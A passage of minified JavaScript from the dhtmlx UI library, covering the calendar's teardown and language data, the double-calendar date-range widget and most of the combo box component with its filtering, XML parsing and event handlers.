this.i[q]}this.i=null;this._doOnInpClick=null;this._doOnInpKeyUp=null;window.dhx4._eventable(this,\"clear\");this.contMonth.onselectstart=null;this.contMonth.firstChild.firstChild.onclick=null;this.contMonth.firstChild.firstChild.ontouchstart=null;this.contMonth.firstChild.firstChild.firstChild.onmouseover=null;this.contMonth.firstChild.firstChild.firstChild.onmouseout=null;this.contMonth.firstChild.firstChild.lastChild.onmouseover=null;this.contMonth.firstChild.firstChild.lastChild.onmouseout=null;while(this.contMonth.firstChild.firstChild.childNodes.length>0){this.contMonth.firstChild.firstChild.removeChild(this.contMonth.firstChild.firstChild.lastChild)}this.contMonth.firstChild.removeChild(this.contMonth.firstChild.firstChild);this.contMonth.removeChild(this.contMonth.firstChild);this.contMonth.parentNode.removeChild(this.contMonth);this.contMonth=null;while(this.contDays.firstChild.childNodes.length>0){this.contDays.firstChild.removeChild(this.contDays.firstChild.lastChild)}this.contDays.removeChild(this.contDays.firstChild);this.contDays.parentNode.removeChild(this.contDays);this.contDays=null;this.contDates.onclick=null;this.contDates.ontouchstart=null;this.contDates.onmouseover=null;this.contDates.onmouseout=null;while(this.contDates.childNodes.length>0){while(this.contDates.lastChild.childNodes.length>0){this.contDates.lastChild.lastChild._css_date=null;this.contDates.lastChild.lastChild._css_month=null;this.contDates.lastChild.lastChild._css_weekend=null;this.contDates.lastChild.lastChild._css_hover=null;this.contDates.lastChild.lastChild._date=null;this.contDates.lastChild.lastChild._q=null;this.contDates.lastChild.lastChild._w=null;this.contDates.lastChild.removeChild(this.contDates.lastChild.lastChild)}this.contDates.removeChild(this.contDates.lastChild)}this.contDates.parentNode.removeChild(this.contDates);this.contDates=null;this.contTime.firstChild.firstChild.onclick=null;this.contTime.firstChild.firstChild.ontouchstart=null;while(this.contTime.firstChild.firstChild.childNodes.length>0){this.contTime.firstChild.firstChild.removeChild(this.contTime.firstChild.firstChild.lastChild)}this.contTime.firstChild.removeChild(this.contTime.firstChild.firstChild);this.contTime.removeChild(this.contTime.firstChild);this.contTime.parentNode.removeChild(this.contTime);this.contTime=null;this._lastHover=null;this._unloadSelector(\"month\");this._unloadSelector(\"year\");this._unloadSelector(\"hours\");this._unloadSelector(\"minutes\");if(this._selCover){this._selCover.parentNode.removeChild(this._selCover);this._selCover=null}if(this._sel){for(var q in this._sel._ta){this._sel._ta[q]=null}this._sel._ta=null;this._sel._t=null;this._sel.onmouseover=null;this._sel.onmouseout=null;while(this._sel.firstChild.firstChild.firstChild.childNodes.length>0){this._sel.firstChild.firstChild.firstChild.lastChild.onclick=null;this._sel.firstChild.firstChild.firstChild.lastChild.onmouseover=null;this._sel.firstChild.firstChild.firstChild.lastChild.onmouseout=null;this._sel.firstChild.firstChild.firstChild.removeChild(this._sel.firstChild.firstChild.firstChild.lastChild)}this._sel.firstChild.firstChild.removeChild(this._sel.firstChild.firstChild.firstChild);this._sel.firstChild.removeChild(this._sel.firstChild.firstChild);while(this._sel.childNodes.length>0){this._sel.removeChild(this._sel.lastChild)}this._sel.parentNode.removeChild(this._sel);this._sel=null}this.base.onclick=null;this.base.onmousedown=null;this.base.ontouchstart=null;this.base.onmouseout=null;this.base.parentNode.removeChild(this.base);this.base=null;this._clearDayHover=null;this._clearSelHover=null;this._doOnSelectorChange=null;this._doOnSelectorShow=null;this._drawMonth=null;this._fixLength=null;this._getLeft=null;this._getTop=null;this._ifrSize=null;this._hide=null;this._hideSelector=null;this._initSelector=null;this._isSelectorVisible=null;this._isVisible=null;this._posGetOffset=null;this._posGetOffsetRect=null;this._posGetOffsetSum=null;this._scrollYears=null;this._show=null;this._showSelector=null;this._strToDate=null;this._updateActiveHours=null;this._updateActiveMinutes=null;this._updateActiveMonth=null;this._updateActiveYear=null;this._updateCellStyle=null;this._updateDateStr=null;this._updateVisibleHours=null;this._updateVisibleMinutes=null;this._updateYearsList=null;this.enableIframe=null;this.hide=null;this.hideTime=null;this.setDate=null;this.setDateFormat=null;this.setYearsRange=null;this.show=null;this.showTime=null;this.unload=null;if(this._tipPopup!=null){this._tipPopup.unload();this._tipPopup=null}for(var q in this){delete this[q]}q=h=null};this.setDate(this._activeDate);return this}dhtmlXCalendarObject.prototype.lang=\"en\";dhtmlXCalendarObject.prototype.langData={en:{dateformat:\"%Y-%m-%d\",hdrformat:\"%F %Y\",monthesFNames:[\"January\",\"February\",\"March\",\"April\",\"May\",\"June\",\"July\",\"August\",\"September\",\"October\",\"November\",\"December\"],monthesSNames:[\"Jan\",\"Feb\",\"Mar\",\"Apr\",\"May\",\"Jun\",\"Jul\",\"Aug\",\"Sep\",\"Oct\",\"Nov\",\"Dec\"],daysFNames:[\"Sunday\",\"Monday\",\"Tuesday\",\"Wednesday\",\"Thursday\",\"Friday\",\"Saturday\"],daysSNames:[\"Su\",\"Mo\",\"Tu\",\"We\",\"Th\",\"Fr\",\"Sa\"],weekstart:1,weekname:\"w\"}};dhtmlXCalendarObject.prototype._buildMonthHdr=function(h){var c=this;var g=function(l){return(String(l).length==1?\"0\"+String(l):l)};var a=function(l,m){return\"<span class='dhtmlxcalendar_month_label_\"+l+\"'>\"+m+\"</span>\"};var e=String(this.langData[this.lang].hdrformat||(\"%F %Y\")).replace(/%[a-z]/gi,function(l){switch(l){case\"%m\":return a(\"month\",g(h.getMonth()+1));case\"%n\":return a(\"month\",h.getMonth()+1);case\"%M\":return a(\"month\",c.langData[c.lang].monthesSNames[h.getMonth()]);case\"%F\":return a(\"month\",c.langData[c.lang].monthesFNames[h.getMonth()]);case\"%y\":return a(\"year\",g(h.getYear()%100));case\"%Y\":return a(\"year\",h.getFullYear());case\"%%\":return\"%\";default:return l}});c=g=a=null;return e};dhtmlXCalendarObject.prototype.enableIframe=function(a){if(a==true){if(!this._ifr){this._ifr=document.createElement(\"IFRAME\");this._ifr.frameBorder=0;this._ifr.border=0;this._ifr.setAttribute(\"src\",\"javascript:false;\");this._ifr.className=\"dhtmlxcalendar_ifr\";this._ifr.onload=function(){this.onload=null;this.contentWindow.document.open(\"text/html\",\"replace\");this.contentWindow.document.write(\"<html><head><style>html,body{width:100%;height:100%;overflow:hidden;margin:0px;}</style></head><body</body></html>\")};this.base.parentNode.insertBefore(this._ifr,this.base);this._ifrSize()}}else{if(this._ifr){this._ifr.parentNode.removeChild(this._ifr);this._ifr=null}}};dhtmlXCalendarObject.prototype._ifrSize=function(){if(this._ifr){this._ifr.style.left=this.base.style.left;this._ifr.style.top=this.base.style.top;this._ifr.style.width=this.base.offsetWidth+\"px\";this._ifr.style.height=this.base.offsetHeight+\"px\"}};dhtmlxCalendarObject=dhtmlXCalendarObject;dhtmlXCalendarObject.prototype._dateStrings=function(){var a=this.langData[this.lang];return{monthFullName:a.monthesFNames,monthShortName:a.monthesSNames,dayFullName:a.daysFNames,dayShortName:a.daysSNames}};dhtmlXCalendarObject.prototype._strToDate=function(c,a){return window.dhx4.str2date(c,a||this._dateFormat,this._dateStrings())};dhtmlXCalendarObject.prototype._dateToStr=function(c,a){return window.dhx4.date2str(c,a||this._dateFormat,this._dateStrings())};window.dhtmlxDblCalendarObject=window.dhtmlXDoubleCalendarObject=window.dhtmlXDoubleCalendar=function(c){var a=this;this.leftCalendar=new dhtmlXCalendarObject(c);this.leftCalendar.hideTime();this.rightCalendar=new dhtmlXCalendarObject(c);this.rightCalendar.hideTime();this.leftCalendar.attachEvent(\"onClick\",function(e){a._updateRange(\"rightCalendar\",e,null);a._evOnClick([\"left\",e])});this.rightCalendar.attachEvent(\"onClick\",function(e){a._updateRange(\"leftCalendar\",null,e);a._evOnClick([\"right\",e])});this.leftCalendar.attachEvent(\"onBeforeChange\",function(e){return a._evOnBeforeChange([\"left\",e])});this.rightCalendar.attachEvent(\"onBeforeChange\",function(e){return a._evOnBeforeChange([\"right\",e])});this.show=function(){this.leftCalendar.show();this.rightCalendar.base.style.marginLeft=this.leftCalendar.base.offsetWidth-1+\"px\";this.rightCalendar.show()};this.hide=function(){this.leftCalendar.hide();this.rightCalendar.hide()};this.setDateFormat=function(e){this.leftCalendar.setDateFormat(e);this.rightCalendar.setDateFormat(e)};this.setDates=function(g,e){if(g!=null){this.leftCalendar.setDate(g)}if(e!=null){this.rightCalendar.setDate(e)}this._updateRange()};this._updateRange=function(e,h,g){if(arguments.length==3){(e==\"leftCalendar\"?this.leftCalendar:this.rightCalendar).setSensitiveRange(h,g)}else{this.leftCalendar.setSensitiveRange(null,this.rightCalendar.getDate());this.rightCalendar.setSensitiveRange(this.leftCalendar.getDate(),null)}};this.getFormatedDate=function(){return this.leftCalendar.getFormatedDate.apply(this.leftCalendar,arguments)};this.unload=function(){window.dhx4._eventable(this,\"clear\");this.leftCalendar.unload();this.rightCalendar.unload();this.leftCalendar=this.rightCalendar=null;this._updateRange=null;this._evOnClick=null;this._evOnBeforeChange=null;this.show=null;this.hide=null;this.setDateFormat=null;this.setDates=null;this.getFormatedDate=null;this.unload=null;a=null};this._evOnClick=function(e){return this.callEvent(\"onClick\",e)};this._evOnBeforeChange=function(e){return this.callEvent(\"onBeforeChange\",e)};window.dhx4._eventable(this);return this};function dhtmlXCombo(l,r,e,n,h){var m=this;var g=null;var s=null;if(typeof(l)==\"object\"&&!l.tagName){g=l;l=g.parent;e=g.width;r=g.name;n=g.mode;s=g.skin}this.cont=(typeof(l)==\"string\"?document.getElementById(l):l);this.conf={skin:null,form_name:r||\"dhxcombo\",combo_width:(parseInt(e)||this.cont.offsetWidth||120)-(dhx4.isFF||dhx4.isIE||dhx4.isChrome||dhx4.isOpera?2:0),combo_image:false,combo_focus:false,opts_type:(typeof(n)==\"string\"&&typeof(this.modes[n])!=\"undefined\"?n:\"option\"),opts_count:8,opts_count_min:3,opts_width:null,item_h:null,list_zi_id:window.dhx4.newId(),allow_free_text:true,allow_empty_value:true,enabled:true,btn_left:((window.dhx4.isIE6||window.dhx4.isIE7||window.dhx4.isIE8)&&typeof(window.addEventListener)==\"undefined\"?1:0),ro_mode:false,ro_text:\"\",ro_tm:null,ro_tm_time:750,img_path:\"\",img_def:\"\",img_def_dis:true,template:{input:\"#text#\",option:\"#text#\"},f_func:null,f_mode:false,f_url:false,f_cache:false,f_cache_data:{},f_dyn:false,f_dyn_end:false,f_mask:\"\",f_ac:true,f_ac_text:\"\",f_server_tm:null,f_server_last:\"\",f_loading:false,s_tm:null,s_time:200,s_mode:\"select\",last_hover:null,last_selected:null,last_match:null,last_text:\"\",last_value:\"\",tm_hover:null,tm_confirm_blur:null,clear_click:false,clear_blur:false,clear_bsp:false,clear_key:false,sp:{dhx_skyblue:{list_ofs:1,hdr_ofs:1,scr_ofs:1},dhx_web:{list_ofs:0,hdr_ofs:1,scr_ofs:0},dhx_terrace:{list_ofs:1,hdr_ofs:1,scr_ofs:1}},col_w:null};this.conf.combo_image=(this.modes[this.conf.opts_type].image==true);this.t={};this.base=document.createElement(\"DIV\");this.base.style.width=this.conf.combo_width+\"px\";this.base.innerHTML=\"<input type='text' class='dhxcombo_input' style='width:\"+(this.conf.combo_width-24-(this.conf.combo_image?23:0))+\"px;\"+(this.conf.combo_image?\"margin-left:23px;\":\"\")+\"' autocomplete='off'><input type='hidden' value=''><input type='hidden' value='false'><div class='dhxcombo_select_button'><div class='dhxcombo_select_img'></div></div>\"+(this.conf.combo_image?\"<div class='dhxcombo_top_image'>\"+this.modes[this.conf.opts_type].getTopImage(null,this.conf.enabled)+\"</div>\":\"\");this.cont.appendChild(this.base);this.list=document.createElement(\"DIV\");this.list._listId=window.dhx4.newId();this.list.style.display=\"none\";document.body.insertBefore(this.list,document.body.firstChild);this._doOnListScroll=function(){if(m.conf.s_tm!=null){window.clearTimeout(m.conf.s_tm)}m.conf.s_tm=window.setTimeout(m._doOnListScrollAction,m.conf.s_time)};this._doOnListScrollAction=function(){m.conf.s_tm=null;if(m.conf.s_mode==\"scroll\"&&m.list.scrollHeight-m.list.scrollTop-10<m.list.clientHeight){m._subloadRequest()}};if(typeof(window.addEventListener)==\"function\"){this.list.addEventListener(\"scroll\",this._doOnListScroll,false)}else{this.list.attachEvent(\"onscroll\",this._doOnListScroll)}this.setSkin(s||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxcombo\")||\"dhx_skyblue\");this._updateTopImage=function(a){if(!this.conf.combo_image){return}if(a!=null){this.base.lastChild.innerHTML=this.t[a].obj.getTopImage(this.t[a].item,this.conf.enabled)}else{this.base.lastChild.innerHTML=this.modes[this.conf.opts_type].getTopImage(null,this.conf.enabled)}};this._filterOpts=function(A){if(this.conf.f_server_tm){window.clearTimeout(this.conf.f_server_tm)}var w=String(this.base.firstChild.value).replace(new RegExp(this.conf.f_ac_text+\"$\",\"i\"),\"\");if(this.conf.f_server_last==w.toLowerCase()){this._checkForMatch();return}if(this.conf.f_url!=null&&this.checkEvent(\"onDynXLS\")){this.conf.f_server_last=w.toLowerCase();this.callEvent(\"onDynXLS\",[w]);return}if(this.conf.f_url!=null){if(w.length==0){this.conf.f_server_last=w.toLowerCase();this.clearAll();return}if(this.conf.f_cache==true&&this.conf.f_cache_data[w]!=null){this.clearAll();this.conf.f_server_last=w.toLowerCase();for(var v=0;v<this.conf.f_cache_data[w].data.length;v++){this.load(this.conf.f_cache_data[w].data[v])}if(this.conf.f_dyn){this.conf.f_dyn_end=this.conf.f_cache_data[w].dyn_end;this.conf.f_mask=this.conf.f_cache_data[w].mask}if(A!==true){this._showList(true);this._checkForMatch()}}else{this.conf.f_server_tm=window.setTimeout(function(){m.conf.f_server_last=w.toLowerCase();m.conf.f_mask=w;var q=\"mask=\"+encodeURIComponent(w);if(m.conf.f_dyn){q+=\"&pos=0\";m.conf.f_dyn_end=false}var a=function(I){if(m.conf.f_cache){if(!m.conf.f_cache_data[w]){m.conf.f_cache_data[w]={data:[],dyn_end:false,mask:w}}m.conf.f_cache_data[w].data.push(I.xmlDoc.responseXML)}m.clearAll();m.load(I.xmlDoc.responseXML);var H=(m.base.offsetWidth>0&&m.base.offsetHeight>0);if(H==true&&m.conf.enabled==true&&m.conf.combo_focus==true&&A!==true){if(m.conf.f_ac&&m.conf.f_mode==\"start\"&&m.conf.clear_bsp==false&&m.list.firstChild!=null){var F=m.list.firstChild._optId;var J=String(m.t[F].obj.getText(m.list.firstChild,true));if(w==m.base.firstChild.value&&String(J).toLowerCase().indexOf(String(w).toLowerCase())===0){m.base.firstChild.value=J;m.conf.f_ac_text=J.substr(w.length);m._selectRange(w.length,J.length)}}m._showList(true);m._checkForMatch()}a=null};if(window.dhx4.ajax.method==\"post\"){window.dhx4.ajax.post(m.conf.f_url,q,a)}else{if(window.dhx4.ajax.method==\"get\"){window.dhx4.ajax.get(m.conf.f_url+(String(m.conf.f_url).indexOf(\"?\")>=0?\"&\":\"?\")+q,a)}}},200)}}else{this.conf.f_server_last=w.toLowerCase();var u=(w.length==0?true:new RegExp((this.conf.f_mode==\"start\"?\"^\":\"\")+String(w).replace(/[\\\\\\^\\$\\*\\+\\?\\.\\(\\)\\|\\{\\}\\[\\]]/gi,\"\\\\$&\"),\"i\"));var x=null;for(var C in this.t){var E=false;if(u!==true){if(this.conf.f_func!=null){var y=this._getOption(this.t[C].item._optId,v);E=(this.conf.f_func.apply(window,[w,y])==true)}else{var D=this.t[C].obj.getText(this.t[C].item,true);E=(u.test(D)==true)}}if(u===true||E==true){this.t[C].item.style.display=\"\";if(x==null&&w.length>0){x=String(this.t[C].obj.getText(this.t[C].item,true))}}else{this.t[C].item.style.display=\"none\"}}if(this.conf.f_ac&&this.conf.f_mode==\"start\"&&this.conf.clear_bsp==false&&x!=null){this.conf.f_ac_text=x.replace(new RegExp(\"^\"+w,\"i\"),\"\");this.base.firstChild.value=x;this._selectRange(this.conf.f_server_last.length,this.base.firstChild.value.length)}if(this.conf.f_mode==\"between\"&&this.conf.clear_bsp==true){this._checkForMatch(true)}if(A!==true){this._showList(true);this._checkForMatch()}}};this._searchRO=function(u){if(this.conf.ro_tm){window.clearTimeout(this.conf.ro_tm)}this.conf.ro_text+=u;this._showList();for(var v=0;v<this.list.childNodes.length;v++){var a=this.list.childNodes[v]._optId;var w=String(this.t[a].obj.getText(this.list.childNodes[v],true)).toLowerCase();if(w.indexOf(this.conf.ro_text)===0){this._setSelected(a,true,true);this._confirmSelect(\"script\",false);break}}this.conf.ro_tm=window.setTimeout(function(){m.conf.ro_text=\"\"},this.conf.ro_tm_time)};this._initObj=function(a){if(typeof(a.template)!=\"undefined\"){this.setTemplate(a.template)}if(a.add!=true&&this.conf.f_loading!=true){this.clearAll(false)}this.addOption(a.options)};this._xmlToObj=function(P,x,v){var C={add:false,options:[]};var J=(x==true?P:P.getElementsByTagName(\"complete\"));if(J.length>0){if(window.dhx4.s2b(J[0].getAttribute(\"add\"))==true){C.add=true}var I=J[0].childNodes;for(var F=0;F<I.length;F++){if(typeof(I[F].tagName)!=\"undefined\"){if(String(I[F].tagName).toLowerCase()==\"template\"){var O={};for(var A=0;A<I[F].childNodes.length;A++){var H=I[F].childNodes[A];if(H.tagName!=null){var K=H.tagName;if(typeof(this.conf.template[K])!=\"undefined\"){O[K]=window.dhx4._xmlNodeValue(H)}if(K==\"columns\"){for(var M=0;M<H.childNodes.length;M++){var y=H.childNodes[M];if(y.tagName!=null&&y.tagName==\"column\"){var E={};for(var N in {width:1,css:1,header:1,option:1}){if(y.getAttribute(N)!=null){E[N]=y.getAttribute(N)}}for(var N in {header:1,option:1}){var L=y.getElementsByTagName(N);if(L[0]!=null&&L[0].firstChild!=null){E[N]=window.dhx4._xmlNodeValue(L[0])}}if(O.columns==null){O.columns=[]}O.columns.push(E)}y=null}}}H=null}this.setTemplate(O)}if(String(I[F].tagName).toLowerCase()==\"option\"){var D=false;if(x==true){D=(C.options.length==v)}else{D=window.dhx4.s2b(I[F].getAttribute(\"selected\"))}var u={value:I[F].getAttribute(\"value\"),text:window.dhx4._xmlNodeValue(I[F]),selected:D,checked:window.dhx4.s2b(I[F].getAttribute(\"checked\"))};for(var N in {img:1,img_dis:1,img_src:1,img_src_dis:1,css:1}){if(I[F].getAttribute(N)!=null){u[N]=I[F].getAttribute(N)}}for(var A=0;A<I[F].childNodes.length;A++){if(I[F].childNodes[A].tagName!=null&&String(I[F].childNodes[A].tagName).toLowerCase()==\"text\"){u.text={};var H=I[F].childNodes[A];for(var M=0;M<H.childNodes.length;M++){if(H.childNodes[M].tagName!=null){u.text[H.childNodes[M].tagName]=window.dhx4._xmlNodeValue(H.childNodes[M])}}}}C.options.push(u)}}}J=I=null}return C};window.dhx4._enableDataLoading(this,\"_initObj\",\"_xmlToObj\",\"complete\",{data:true});window.dhx4._eventable(this);this._getNearItem=function(u,q){var a=null;while(u!=null){u=u[q<0?\"previousSibling\":\"nextSibling\"];if(a==null&&u!=null&&u.style.display==\"\"&&u._optId!=null){a=u;u=null}}return a};this.setName(this.conf.form_name);this._doOnListMouseMove=function(q){q=q||event;var a=q.target||q.srcElement;while(a!=null&&a!=this){if(typeof(a._optId)!=\"undefined\"){if(m.conf.tm_hover){window.clearTimeout(m.conf.tm_hover)}m._setSelected(a._optId)}a=a.parentNode}a=null};this._doOnListMouseDown=function(a){a=a||event;a.cancelBubble=true;m.conf.clear_click=true;window.setTimeout(function(){m.base.firstChild.focus()},1)};this._doOnListMouseUp=function(u){u=u||event;if(u.button!=m.conf.btn_left){return}var a=u.target||u.srcElement;while(a!=null&&a!=this){if(typeof(a._optId)!=\"undefined\"){var q=true;if(typeof(m.t[a._optId].obj.optionClick)==\"function\"&&m.t[a._optId].obj.optionClick(a,u,m)!==true){q=false}if(q){m._setSelected(a._optId,null,true);m._confirmSelect(\"click\")}}a=a.parentNode}a=null};this._doOnListMouseOut=function(a){if(m.conf.tm_hover){window.clearTimeout(m.conf.tm_hover)}m.conf.tm_hover=window.setTimeout(function(){var q=m.conf.last_match||m.conf.last_selected;if(m.conf.last_match==null&&m.t[q]!=null){if(m.base.firstChild.value!=m.t[q].obj.getText(m.t[q].item,true)){q=null}}m._setSelected(q,null,true)},1)};this._doOnBaseMouseDown=function(w){if(!m.conf.enabled){return}m.conf.clear_click=true;w=w||event;if(w.button!=m.conf.btn_left){return}var q=w.target||w.srcElement;if(q!=this.firstChild){window.setTimeout(function(){m.base.firstChild.focus()},1);var v=q;while(v!=this&&v!=null){if(v==this.lastChild){if(typeof(m.modes[m.conf.opts_type].topImageClick)==\"function\"){var u=(m.conf.last_hover||m.conf.last_selected);var a=(u!=null?m.t[u].item:null);if(m.modes[m.conf.opts_type].topImageClick(a,m)!==true){u=a=null;return}}v=null}else{v=v.parentNode}}}if(m._isListVisible()){m._hideList()}else{if(q!=this.firstChild){m.conf.clear_blur=true}m._showList();m._setSelected(m.conf.last_selected,true,true)}q=null};this._doOnBodyMouseDown=function(){if(m.conf.clear_click){m.conf.clear_click=false;return}m._confirmSelect(\"blur\")};this._doOnInputFocus=function(){m.conf.clear_blur=false;if(m.conf.tm_confirm_blur){window.clearTimeout(m.conf.tm_confirm_blur)}if(m.conf.combo_focus==false){m.conf.combo_focus=true;m.callEvent(\"onFocus\",[])}};this._doOnInputBlur=function(){if(m.conf.clear_blur==true){m.conf.clear_blur=false;return}if(m.conf.tm_confirm_blur){window.clearTimeout(m.conf.tm_confirm_blur)}m.conf.tm_confirm_blur=window.setTimeout(function(){if(m.conf.clear_click==false){m._confirmSelect(\"blur\");m.conf.combo_focus=false;m.callEvent(\"onBlur\",[])}},20)};this._doOnInputKeyUp=function(a){a=a||event;if(m.conf.f_mode!=false){m.conf.clear_bsp=(a.keyCode==8||a.keyCode==46);m._filterOpts();return}else{m._checkForMatch()}};this._doOnInputKeyDown=function(a){a=a||event;if((a.keyCode==38||a.keyCode==40)&&!a.ctrlKey&&!a.shiftKey&&!a.altKey){if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}a.cancelBubble=true;m._keyOnUpDown(a.keyCode==38?-1:1)}if(a.keyCode==113){if(!m._isListVisible()){m._showList();if(m.base.firstChild.value==m.conf.last_text){m._setSelected(m.conf.last_selected,true,true);m.base.firstChild.value=m.conf.last_text;m.conf.f_server_last=m.base.firstChild.value.toLowerCase()}else{m.conf.f_server_last=m.base.firstChild.value.toLowerCase();if(m.conf.f_mode==false){m._checkForMatch()}}}else{}}if(a.keyCode==27){if(a.preventDefault){a.preventDefault()}else{a.returnValue=false}a.cancelBubble=true;m._cancelSelect()}if(a.keyCode==13){if(a.preventDefault){a.preventDefault()}m._confirmSelect(\"kbd\")}if(m.conf.ro_mode==true&&((a.keyCode>=48&&a.keyCode<=57)||(a.keyCode>=65&&a.keyCode<=90))){m._searchRO(String.fromCharCode(a.keyCode).toLowerCase());a.cancelBubble=true}m.conf.clear_key=true;m.callEvent(\"onKeyPressed\",[a.keyCode||a.charCode])};this._doOnInputKeyPress=function(a){if(m.conf.clear_key){m.conf.clear_key=false;return}a=a||event;m.callEvent(\"onKeyPressed\",[a.keyCode||a.charCode])};this._keyOnUpDown=function(a){var q=null;if(this.conf.last_hover){q=this.t[this.conf.last_hover].item}else{if(this.conf.last_selected){q=this.t[this.conf.last_selected].item}}if(!q&&this._getListVisibleCount()==0){return}if(q!=null&&q.style.display!=\"\"){q=null}this._showList();if(q!=null){if(this.t[q._optId].obj.isSelected(q)){q=this._getNearItem(q,a)}}else{q=this.list.firstChild;if(q.style.display!=\"\"){q=this._getNearItem(q,1)}}if(q==null){return}this._setSelected(q._optId,true,true);if(this.conf.f_mode==false){this.base.firstChild.value=this.t[q._optId].obj.getText(q,true)}else{var u=String(this.t[q._optId].obj.getText(q,true));if(this.conf.f_mode==\"start\"&&this.conf.f_ac==true){if(u.toLowerCase().indexOf(this.conf.f_server_last)===0){this.conf.f_ac_text=u.substring(this.conf.f_server_last.length,u.length);this.base.firstChild.value=u;this._selectRange(this.conf.f_server_last.length,this.base.firstChild.value.length)}else{this.base.firstChild.value=u;this.conf.f_server_last=this.base.firstChild.value.toLowerCase();this._selectRange(0,this.base.firstChild.value.length)}}else{this.base.firstChild.value=u;this.conf.f_server_last=this.base.firstChild.value.toLowerCase()}}q=null};this.conf.evs_nodes=[{node:document.body,evs:{mousedown:\"_doOnBodyMouseDown\"}},{node:this.base,evs:{mousedown:\"_doOnBaseMouseDown\"}},{node:this.base.firstChild,evs:{keyup:\"_doOnInputKeyUp\",keydown:\"_doOnInputKeyDown\",keypress:\"_doOnInputKeyPress\",focus:\"_doOnInputFocus\",blur:\"_doOnInputBlur\"}},{node:this.list,evs:{mousemove:\"_doOnListMouseMove\",mousedown:\"_doOnListMouseDown\",mouseup:\"_doOnListMouseUp\",mouseout:\"_doOnListMouseOut\"}}];for(var c=0;c<this.conf.evs_nodes.length;c++){for(var o in this.conf.evs_nodes[c].evs){if(typeof(window.addEventListener)==\"function\"){this.conf.evs_nodes[c].node.addEventListener(o,this[this.conf.evs_nodes[c].evs[o]],false)}else{this.conf.evs_nodes[c].node.attachEvent(\"on\"+o,this[this.conf.evs_nodes[c].evs[o]])}}}this.unload=function(){this.clearAll();this.t=null;for(var v=0;v<this.conf.evs_nodes.length;v++){for(var u in this.conf.evs_nodes[v].evs){if(typeof(window.addEventListener)==\"function\"){this.conf.evs_nodes[v].node.removeEventListener(u,this[this.conf.evs_nodes[v].evs[u]],false)}else{this.conf.evs_nodes[v].node.detachEvent(\"on\"+u,this[this.conf.evs_nodes[v].evs[u]])}this.conf.evs_nodes[v].evs[u]=null;delete this.conf.evs_nodes[v].evs[u]}this.conf.evs_nodes[v].node=null;this.conf.evs_nodes[v].evs=null;delete this.conf.evs_nodes[v].node;delete this.conf.evs_nodes[v].evs;this.conf.evs_nodes[v]=null}window.dhx4._eventable(this,\"clear\");window.dhx4._enableDataLoading(this,null,null,null,\"clear\");this._mcDetachHeader();this.DOMelem_input=this.DOMelem_button=this.DOMlist=this.DOMelem=this.DOMParent=null;for(var u in this.conf){this.conf[u]=null;delete this.conf[u]}this.conf=null;if(typeof(window.addEventListener)==\"function\"){this.list.removeEventListener(\"scroll\",this._doOnListScroll,false)}else{this.list.detachEvent(\"onscroll\",this._doOnListScroll)}this.base.parentNode.removeChild(this.base);this.list.parentNode.removeChild(this.list);this.base=this.list=this.cont=null;this.modes=null;for(var u in this){if(typeof(this[u])==\"function\"){this[u]=null}}m=null};this.DOMelem_input=this.base.firstChild;this.DOMelem_button=this.base.childNodes[this.base.childNodes.length-(this.conf.combo_image?2:1)];this.DOMlist=this.list;this.DOMelem=this.base;this.DOMParent=l;l=null;if(g!=null){if(g.filter!=null){if(typeof(g.filter)==\"string\"){this.enableFilteringMode(true,g.filter,window.dhx4.s2b(g.filter_cache),window.dhx4.s2b(g.filter_sub_load))}else{this.enableFilteringMode(true)}}if(g.image_path!=null){this.setImagePath(g.image_path)}if(g.default_image!=null||g.default_image_dis!=null){this.setDefaultImage(g.default_image,g.default_image_dis)}if(g.items||g.options){this.addOption(g.items||g.options)}if(g.xml||g.json){this.load(g.xml||g.json)}if(typeof(g.readonly)!=\"undefined\"){this.readonly(g.readonly)}g=null}return this}function dhtmlXComboFromSelect(e){if(typeof(e)==\"string\"){e=document.getElementById(e)}var c=e.offsetWidth;var q=e.getAttribute(\"name\")||null;var g=document.createElement(\"SPAN\");e.parentNode.insertBefore(g,e);var l=e.getAttribute(\"mode\")||e.getAttribute(\"opt_type\")||\"option\";var h=new dhtmlXCombo(g,q,c,l);g=null;var n=e.getAttribute(\"imagePath\");if(n){h.setImagePath(n)}var o=e.getAttribute(\"defaultImage\");var m=e.getAttribute(\"defaultImageDis\");if(window.dhx4.s2b(m)==true){m=true}if(o!=null||m!=null){h.setDefaultImage(o,m)}var a=h._xmlToObj([e],true,e.selectedIndex);if(a.options.length>0){h.addOption(a.options)}a=null;e.parentNode.removeChild(e);e=null;return h}dhtmlXCombo.prototype.setName=function(a){this.conf.form_name=a;this.base.childNodes[1].name=a;this.base.childNodes[2].name=a.replace(/(\\[.*)?$/,\"_new_value$1\")};dhtmlXCombo.prototype.readonly=function(a){if(window.dhx4.s2b(a)){this.base.firstChild.setAttribute(\"readOnly\",\"true\");this.conf.ro_mode=true}else{this.base.firstChild.removeAttribute(\"readOnly\");this.conf.ro_mode=false}};dhtmlXCombo.prototype.setPlaceholder=function(a){if(typeof(a)==\"undefined\"||a==null){a=\"\"}this.base.firstChild.setAttribute(\"placeholder\",String(a))};dhtmlXCombo.prototype.setTemplate=function(e){for(var c in e){if(typeof(this.conf.template[c])!=\"undefined\"){this.conf.template[c]=String(e[c])}}if(e.columns!=null){this._mcMakeTemplate(e.columns)}else{this._mcDetachHeader()}for(var c in this.t){this.t[c].obj.setText(this.t[c].item,this.t[c].item._conf.text)}this._confirmSelect()};dhtmlXCombo.prototype.setSkin=function(a){if(a==this.conf.skin){return}this.conf.skin=a;this.base.className=\"dhxcombo_\"+this.conf.skin+(this.conf.enabled?\"\":\" dhxcombo_disabled\");this.list.className=\"dhxcombolist_\"+this.conf.skin+(this.hdr!=null?\" dhxcombolist_multicolumn\":\"\");if(this.hdr!=null){this.hdr.className=\"dhxcombolist_\"+this.conf.skin+\" dhxcombolist_hdr\"}};dhtmlXCombo.prototype.getInput=function(){return this.base.firstChild};dhtmlXCombo.prototype.getButton=function(){return this.base.childNodes[this.base.childNodes.length-(this.conf.combo_image?2:1)]};dhtmlXCombo.prototype.getList=function(){return this.list};dhtmlXCombo.prototype.getBase=function(){return this.base};dhtmlXCombo.prototype.getParent=function(){return this.DOMParent};dhtmlXCombo.prototype.forEachOption=function(a){for(var 